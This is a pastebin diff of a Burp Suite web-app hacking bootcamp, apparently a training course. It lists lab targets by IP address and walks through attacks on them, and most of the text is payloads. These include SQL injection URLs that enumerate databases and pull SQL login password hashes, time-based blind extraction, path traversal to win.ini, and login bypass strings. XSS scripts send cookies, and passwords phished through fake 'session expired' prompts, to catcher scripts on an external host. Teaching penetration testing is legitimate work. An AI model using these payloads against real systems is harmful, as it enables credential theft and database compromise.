SHOW:
|
|
- or go back to the newest paste.
1 | ####################### | |
2 | # Burp Suite Bootcamp # | |
3 | ####################### | |
4 | http://data.serviceplatform.org/wsdl_grabbing/seekda-wsdls.with_ini/36-CurrencyConvertor.wsdl | |
5 | ||
6 | - | https://s3.amazonaws.com/infosecaddictsfiles/WebAppSecIsNotEasyButCanBeSimple.pptx |
6 | + | |
7 | - | https://s3.amazonaws.com/infosecaddictsfiles/Burp+Suite.pptx |
7 | + | |
8 | # Course Materials # | |
9 | #################### | |
10 | ||
11 | - | https://s3.amazonaws.com/infosecaddictsfiles/BurpSuite-Bootcamp-v1.pdf |
11 | + | |
12 | https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/WebAppSecIsNotEasyButCanBeSimple.pptx | |
13 | https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/Burp+Suite.pptx | |
14 | ||
15 | ||
16 | - | Here is a good reference of how to use Burp to look for OWASP Top 10 vulnerabilities: |
16 | + | |
17 | - | https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten |
17 | + | https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/BurpSuite-Bootcamp-v1.pdf |
18 | ||
19 | ||
20 | Day 1 Video: | |
21 | - | http://54.213.252.28/ |
21 | + | https://s3.amazonaws.com/StrategicSec-Videos/2015/2015-12-06+09.10+Burp+Suite+Weekend+Bootcamp.mp4 |
22 | - | http://40.86.183.118/ |
22 | + | |
23 | ||
24 | - | Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Homework.docx) |
24 | + | |
25 | ||
26 | - | Day 1 Challenge: |
26 | + | |
27 | Day 1 Challenge (Due 12 December): | |
28 | Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets: | |
29 | http://strategicsec.com | |
30 | http://54.149.82.150/ | |
31 | http://54.186.248.116/ | |
32 | http://54.200.178.220/ | |
33 | http://54.213.131.105/ | |
34 | - | Day 2 Homework: |
34 | + | |
35 | - | Here are some sample web app penetration test reports from other companies that you can look at: |
35 | + | |
36 | - | https://s3.amazonaws.com/infosecaddictsfiles/WebAppSampleReports.zip |
36 | + | |
37 | ||
38 | - | I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project. |
38 | + | |
39 | Day 2 Video: | |
40 | https://s3.amazonaws.com/StrategicSec-Videos/2015/2015-12-13+09.25+Burp+Suite+Weekend+Bootcamp.mp4 | |
41 | - | Day 2 Challenge: |
41 | + | |
42 | ||
43 | Day 2 Challenge (Due 19 December): | |
44 | ---------------------------------- | |
45 | Use the StrategicSec Ubuntu VM to demonstrate how to install, configure, and use at least five (5) of the following Burp Suite extensions from these websites and lists below: | |
46 | https://github.com/integrissecurity/carbonator | |
47 | https://github.com/allfro/BurpKit | |
48 | https://github.com/nccgroup/BurpSuiteLoggerPlusPlus | |
49 | https://github.com/Quitten/Autorize | |
50 | https://github.com/codewatchorg/sqlipy | |
51 | https://github.com/augustd/burp-suite-token-fetcher | |
52 | https://github.com/augustd/burp-suite-gwt-scan | |
53 | ||
54 | https://webbreacher.wordpress.com/2015/07/25/my-favorite-burp-suite-extensions/ | |
55 | http://bughunting.guide/the-top-5-burp-suite-extensions/ | |
56 | https://www.codemagi.com/downloads/ | |
57 | ||
58 | ||
59 | ||
60 | - | http://54.213.252.28/ |
60 | + | |
61 | - | http://40.86.183.118/ |
61 | + | |
62 | http://54.149.82.150/ | |
63 | http://54.186.248.116/ | |
64 | http://54.200.178.220/ | |
65 | http://54.213.131.105/ | |
66 | ||
67 | Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day2-Challenge.docx) | |
68 | ||
69 | ||
70 | ||
71 | ########## | |
72 | # VMWare # | |
73 | ########## | |
74 | - For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player. | |
75 | ||
76 | - A 30-day trial of Workstation 11 can be downloaded from here: | |
77 | - https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation/11_0 | |
78 | ||
79 | - A 30-day trial of Fusion 7 can be downloaded from here: | |
80 | - https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_fusion/7_0 | |
81 | ||
82 | - The newest version of VMWare Player can be downloaded from here: | |
83 | - https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/7_0 | |
84 | ||
85 | ||
86 | - Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class. | |
87 | ||
88 | ||
89 | - | https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip |
89 | + | |
90 | - | user: infosecaddicts |
90 | + | |
91 | - | pass: infosecaddicts |
91 | + | |
92 | https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip | |
93 | user: strategicsec | |
94 | pass: strategicsec | |
95 | ||
96 | ||
97 | ################################## | |
98 | # Basic: Web Application Testing # | |
99 | ################################## | |
100 | ||
101 | Most people are going to tell you reference the OWASP Testing guide. | |
102 | https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents | |
103 | ||
104 | I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website. | |
105 | ||
106 | ||
107 | The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site. | |
108 | ||
109 | 1. Does the website talk to a DB? | |
110 | - Look for parameter passing (ex: site.com/page.php?id=4) | |
111 | - If yes - try SQL Injection | |
112 | ||
113 | 2. Can I or someone else see what I type? | |
114 | - If yes - try XSS | |
115 | ||
116 | - | Let's start with some manual testing against 54.213.100.93 |
116 | + | |
117 | - If yes - try LFI/RFI | |
118 | ||
119 | Let's start with some manual testing against 54.149.82.150 | |
120 | - | http://54.213.252.28/ |
120 | + | |
121 | ||
122 | Start here: | |
123 | http://54.149.82.150/ | |
124 | ||
125 | ||
126 | There's no parameter passing on the home page so the answer to question 1 is NO. | |
127 | There is however a search box in the top right of the webpage, so the answer to question 2 is YES. | |
128 | ||
129 | Try an XSS in the search box on the home page: | |
130 | - | http://54.213.252.28/BasicSearch.aspx?Word=<script>alert(123);</script> |
130 | + | |
131 | ||
132 | Doing this gives us the following in the address bar: | |
133 | http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script> | |
134 | ||
135 | Ok, so we've verified that there is XSS in the search box. | |
136 | ||
137 | Let's move on to the search box in the left of the page. | |
138 | ||
139 | - | http://54.213.252.28/login.aspx |
139 | + | |
140 | ||
141 | Moving on to the login page. | |
142 | http://54.149.82.150/login.aspx | |
143 | ||
144 | I entered a single quote (') for both the user name and the password. I got the following error: | |
145 | ||
146 | ----------------------------------------------------------------- | |
147 | 'Users//User[@Name=''' and @Password=''']' has an invalid token. | |
148 | Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. | |
149 | ||
150 | Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token. | |
151 | ||
152 | Source Error: | |
153 | ||
154 | ||
155 | Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml"); | |
156 | Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']"; | |
157 | Line 114: XmlNodeList xmln = doc.SelectNodes(credential); | |
158 | Line 115: //String test = xmln.ToString(); | |
159 | Line 116: if (xmln.Count > 0) | |
160 | ||
161 | ----------------------------------------------------------------- | |
162 | ||
163 | ||
164 | Hmm....System.Xml.XPath.XPathException.....that's not SQL. | |
165 | ||
166 | WTF is this: | |
167 | Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml"); | |
168 | ||
169 | ||
170 | ||
171 | ||
172 | In this case you'll have the trap the request with a proxy like: | |
173 | - Firefox Tamper Data | |
174 | - Burp Suite http://www.portswigger.net/Burp/proxy.html | |
175 | - WebScarab https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project | |
176 | - Rat Proxy https://code.google.com/p/ratproxy/ | |
177 | - Zap Proxy https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project | |
178 | - Paros http://sourceforge.net/projects/paros/ | |
179 | ||
180 | ||
181 | ||
182 | Let's go back to that page error message..... | |
183 | - | http://54.213.252.28/AuthInfo.xml |
183 | + | |
184 | ||
185 | Let's check it out: | |
186 | http://54.149.82.150/AuthInfo.xml | |
187 | ||
188 | Looks like we found passwords!!!!!!!!!! | |
189 | ||
190 | ||
191 | Looks like there no significant new functionality after logging in with the stolen credentials. | |
192 | ||
193 | - | http://54.213.252.28/bookdetail.aspx?id=2 |
193 | + | |
194 | ||
195 | ||
196 | http://54.149.82.150/bookdetail.aspx?id=2 | |
197 | ||
198 | ||
199 | Ok, there is parameter passing (bookdetail.aspx?id=2). | |
200 | ||
201 | The page name is: bookdetail.aspx | |
202 | The parameter name is: id | |
203 | The paramber value is: 2 | |
204 | ||
205 | - | http://54.213.252.28/bookdetail.aspx?id=2' |
205 | + | |
206 | Let's try throwing a single quote (') in there: | |
207 | ||
208 | http://54.149.82.150/bookdetail.aspx?id=2' | |
209 | ||
210 | ||
211 | I get the following error: | |
212 | ||
213 | Unclosed quotation mark after the character string ''. | |
214 | Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. | |
215 | ||
216 | Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''. | |
217 | ||
218 | ||
219 | ||
220 | ||
221 | ||
222 | ||
223 | ||
224 | ||
225 | ||
226 | - | # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx # |
226 | + | |
227 | ############################################################################# | |
228 | # SQL Injection # | |
229 | # https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx # | |
230 | ############################################################################# | |
231 | ||
232 | ||
233 | - Another quick way to test for SQLI is to remove the paramter value | |
234 | ||
235 | ||
236 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- |
236 | + | |
237 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- |
237 | + | |
238 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- |
238 | + | |
239 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- |
239 | + | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- |
240 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- |
240 | + | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- |
241 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases |
241 | + | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- |
242 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- |
242 | + | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- |
243 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- |
243 | + | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- |
244 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- |
244 | + | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases |
245 | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- | |
246 | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- | |
247 | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- | |
248 | ||
249 | ||
250 | ||
251 | ||
252 | - | http://54.213.252.28/bookdetail.aspx?id=2 order by 100-- |
252 | + | |
253 | - | http://54.213.252.28/bookdetail.aspx?id=2 order by 50-- |
253 | + | |
254 | - | http://54.213.252.28/bookdetail.aspx?id=2 order by 25-- |
254 | + | |
255 | - | http://54.213.252.28/bookdetail.aspx?id=2 order by 10-- |
255 | + | http://54.149.82.150/bookdetail.aspx?id=2 order by 100-- |
256 | - | http://54.213.252.28/bookdetail.aspx?id=2 order by 5-- |
256 | + | http://54.149.82.150/bookdetail.aspx?id=2 order by 50-- |
257 | - | http://54.213.252.28/bookdetail.aspx?id=2 order by 6-- |
257 | + | http://54.149.82.150/bookdetail.aspx?id=2 order by 25-- |
258 | - | http://54.213.252.28/bookdetail.aspx?id=2 order by 7-- |
258 | + | http://54.149.82.150/bookdetail.aspx?id=2 order by 10-- |
259 | - | http://54.213.252.28/bookdetail.aspx?id=2 order by 8-- |
259 | + | http://54.149.82.150/bookdetail.aspx?id=2 order by 5-- |
260 | - | http://54.213.252.28/bookdetail.aspx?id=2 order by 9-- |
260 | + | http://54.149.82.150/bookdetail.aspx?id=2 order by 6-- |
261 | - | http://54.213.252.28/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- |
261 | + | http://54.149.82.150/bookdetail.aspx?id=2 order by 7-- |
262 | http://54.149.82.150/bookdetail.aspx?id=2 order by 8-- | |
263 | http://54.149.82.150/bookdetail.aspx?id=2 order by 9-- | |
264 | http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- | |
265 | ||
266 | We are using a union select statement because we are joining the developer's query with one of our own. | |
267 | Reference: | |
268 | http://www.techonthenet.com/sql/union.php | |
269 | The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. | |
270 | It removes duplicate rows between the various SELECT statements. | |
271 | - | http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- |
271 | + | |
272 | Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types. | |
273 | ||
274 | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- | |
275 | - | http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- |
275 | + | |
276 | - | http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- |
276 | + | |
277 | - | http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9-- |
277 | + | |
278 | - | http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins-- |
278 | + | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- |
279 | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- | |
280 | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9-- | |
281 | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins-- | |
282 | ||
283 | ||
284 | ||
285 | - | http://54.213.252.28/bookdetail.aspx?id=(2) |
285 | + | |
286 | - | http://54.213.252.28/bookdetail.aspx?id=(4-2) |
286 | + | |
287 | - | http://54.213.252.28/bookdetail.aspx?id=(4-1) |
287 | + | |
288 | http://54.149.82.150/bookdetail.aspx?id=(2) | |
289 | http://54.149.82.150/bookdetail.aspx?id=(4-2) | |
290 | http://54.149.82.150/bookdetail.aspx?id=(4-1) | |
291 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1=1-- |
291 | + | |
292 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1=2-- |
292 | + | |
293 | - | http://54.213.252.28/bookdetail.aspx?id=1*1 |
293 | + | |
294 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1 >-1# |
294 | + | http://54.149.82.150/bookdetail.aspx?id=2 or 1=1-- |
295 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1<99# |
295 | + | http://54.149.82.150/bookdetail.aspx?id=2 or 1=2-- |
296 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 1<>1# |
296 | + | http://54.149.82.150/bookdetail.aspx?id=1*1 |
297 | - | http://54.213.252.28/bookdetail.aspx?id=2 or 2 != 3-- |
297 | + | http://54.149.82.150/bookdetail.aspx?id=2 or 1 >-1# |
298 | - | http://54.213.252.28/bookdetail.aspx?id=2 &0# |
298 | + | http://54.149.82.150/bookdetail.aspx?id=2 or 1<99# |
299 | http://54.149.82.150/bookdetail.aspx?id=2 or 1<>1# | |
300 | http://54.149.82.150/bookdetail.aspx?id=2 or 2 != 3-- | |
301 | http://54.149.82.150/bookdetail.aspx?id=2 &0# | |
302 | ||
303 | ||
304 | ||
305 | ||
306 | ||
307 | ############################### | |
308 | # Blind SQL Injection Testing # | |
309 | ############################### | |
310 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- |
310 | + | |
311 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- |
311 | + | |
312 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds) |
312 | + | |
313 | http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- | |
314 | http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- | |
315 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'-- |
315 | + | http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds) |
316 | ||
317 | Let's go for a quick check to see if it's DBO | |
318 | http://54.149.82.150/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'-- | |
319 | ||
320 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- |
320 | + | |
321 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'-- |
321 | + | |
322 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'-- |
322 | + | |
323 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds) |
323 | + | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- |
324 | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'-- | |
325 | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'-- | |
326 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
326 | + | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds) |
327 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
327 | + | |
328 | B - 2nd Character | |
329 | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
330 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
330 | + | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
331 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- |
331 | + | |
332 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
332 | + | |
333 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
333 | + | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
334 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- |
334 | + | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- |
335 | - | http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
335 | + | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
336 | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
337 | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- | |
338 | http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
339 | ||
340 | ||
341 | ||
342 | ||
343 | ||
344 | ||
345 | ||
346 | ||
347 | ||
348 | - | # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx # |
348 | + | |
349 | ################################################################### | |
350 | # What is XSS # | |
351 | # https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx # | |
352 | ################################################################### | |
353 | ||
354 | OK - what is Cross Site Scripting (XSS) | |
355 | - | http://40.86.183.118/xss_practice/ |
355 | + | |
356 | 1. Use Firefox to browse to the following location: | |
357 | ||
358 | http://54.186.248.116/xss_practice/ | |
359 | ||
360 | A really simple search page that is vulnerable should come up. | |
361 | ||
362 | ||
363 | ||
364 | ||
365 | 2. In the search box type: | |
366 | ||
367 | <script>alert('So this is XSS')</script> | |
368 | - | Ok, click OK and then click back and go back to http://40.86.183.118/xss_practice/ |
368 | + | |
369 | ||
370 | This should pop-up an alert window with your message in it proving XSS is in fact possible. | |
371 | Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/ | |
372 | ||
373 | ||
374 | 3. In the search box type: | |
375 | ||
376 | <script>alert(document.cookie)</script> | |
377 | - | Ok, click OK and then click back and go back to http://40.86.183.118/xss_practice/ |
377 | + | |
378 | ||
379 | This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed. | |
380 | Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/ | |
381 | - | <script>document.location="http://40.86.183.118/xss_practice/cookie_catcher.php?c="+document.cookie</script> |
381 | + | |
382 | 4. Now replace that alert script with: | |
383 | ||
384 | <script>document.location="http://54.186.248.116/xss_practice/cookie_catcher.php?c="+document.cookie</script> | |
385 | ||
386 | ||
387 | This will actually pass your cookie to the cookie catcher that we have sitting on the webserver. | |
388 | - | http://40.86.183.118/xss_practice/cookie_stealer_logs.html |
388 | + | |
389 | ||
390 | 5. Now view the stolen cookie at: | |
391 | http://54.186.248.116/xss_practice/cookie_stealer_logs.html | |
392 | ||
393 | ||
394 | The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to. | |
395 | ||
396 | ||
397 | ||
398 | ||
399 | ||
400 | ||
401 | ############################ | |
402 | # A Better Way To Demo XSS # | |
403 | ############################ | |
404 | ||
405 | ||
406 | Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box. | |
407 | ||
408 | - | http://40.86.183.118/xss_practice/ |
408 | + | |
409 | Use Firefox to browse to the following location: | |
410 | ||
411 | http://54.186.248.116/xss_practice/ | |
412 | ||
413 | ||
414 | ||
415 | Paste this in the search box | |
416 | ---------------------------- | |
417 | ||
418 | ||
419 | Option 1 | |
420 | -------- | |
421 | - | document.write("<img src=\"http://40.86.183.118/xss_practice/passwordgrabber.php?password=" +password+"\">"); |
421 | + | |
422 | <script> | |
423 | password=prompt('Your session is expired. Please enter your password to continue',' '); | |
424 | document.write("<img src=\"http://54.186.248.116/xss_practice/passwordgrabber.php?password=" +password+"\">"); | |
425 | </script> | |
426 | - | http://40.86.183.118/xss_practice/passwords.html |
426 | + | |
427 | ||
428 | Now view the stolen cookie at: | |
429 | http://54.186.248.116/xss_practice/passwords.html | |
430 | ||
431 | ||
432 | ||
433 | Option 2 | |
434 | -------- | |
435 | - | document.write("<img src=\"http://40.86.183.118/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">"); |
435 | + | |
436 | username=prompt('Please enter your username',' '); | |
437 | password=prompt('Please enter your password',' '); | |
438 | document.write("<img src=\"http://54.186.248.116/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">"); | |
439 | </script> | |
440 | ||
441 | ||
442 | - | http://40.86.183.118/xss_practice/username_password_logs.html |
442 | + | |
443 | ||
444 | Now view the stolen cookie at: | |
445 | http://54.186.248.116/xss_practice/username_password_logs.html | |
446 | ||
447 | ||
448 | ||
449 | ||
450 | ######################################### | |
451 | # Let's kick it up a notch with ASP.NET # | |
452 | # http://54.200.178.220/ # | |
453 | ######################################### | |
454 | ||
455 | ||
456 | The trading Web App is on http://54.200.178.220/ | |
457 | ||
458 | ||
459 | Try the following in the search box: | |
460 | <script>alert(123);</script> | |
461 | ' or 1=1 | |
462 | ' and a=a | |
463 | 1=1 | |
464 | Joe'+OR+1=1;-- | |
465 | ||
466 | ||
467 | <script>alert(123);</script> | |
468 | ||
469 | Open a new tab in firefox and try this: | |
470 | http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName | |
471 | ||
472 | ||
473 | Try the contact us form. | |
474 | Open a new tab in firefox and try this: | |
475 | http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini | |
476 | ||
477 | Try this on the inquiry form: | |
478 | Joe McCray | |
479 | 1234567890 | |
480 | joe@strategicsec.com') waitfor delay '00:00:10'-- | |
481 | ||
482 | ||
483 | Login Box: | |
484 | ||
485 | ' or 1=1 or ''=' | |
486 | anything (click login instead of pressing enter) | |
487 | ||
488 | ||
489 | ||
490 | Tamper Data: (notice 2 session IDs) | |
491 | ||
492 | - | Close all dialogs and restart Firefox |
492 | + | AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5 |
493 | IsAdmin=yes; | |
494 | ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45 | |
495 | ||
496 | - | ################ |
496 | + | |
497 | - | # Web Servcies # |
497 | + | |
498 | - | ################ |
498 | + | Profile - Detail (tamper data) |
499 | Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n | |
500 | joe|set | |
501 | - | ############################################################### |
501 | + | |
502 | - | # Question 1: What is the process that you use when you test? # |
502 | + | |
503 | - | ############################################################### |
503 | + | xss_upload.txt (Upload Bulk Order) |
504 | <script>alert(123);</script> | |
505 | - | Step 1: Automated Testing |
505 | + | |
506 | ||
507 | - | Step 1a: Web Application vulnerability scanners |
507 | + | |
508 | - | ----------------------------------------------- |
508 | + | |
509 | - | - Run two (2) unauthenticated vulnerability scans against the target |
509 | + | |
510 | - | - Run two (2) authenticated vulnerability scans against the target with low-level user credentials |
510 | + | # Trading Web App with WAF # |
511 | - | - Run two (2) authenticated vulnerability scans against the target with admin privileges |
511 | + | # http://54.213.131.105 # |
512 | ############################ | |
513 | - | The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix). |
513 | + | |
514 | ||
515 | - | A good web application vulnerability scanner comparison website is here: |
515 | + | Try the following in the search box: |
516 | - | http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html |
516 | + | <script>alert(123);</script> |
517 | <script>alert(123);</script | |
518 | <script>alert(123) | |
519 | - | Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. |
519 | + | <script>alert |
520 | <script> | |
521 | - | When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. |
521 | + | <script |
522 | <scrip | |
523 | <scri | |
524 | - | Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore. |
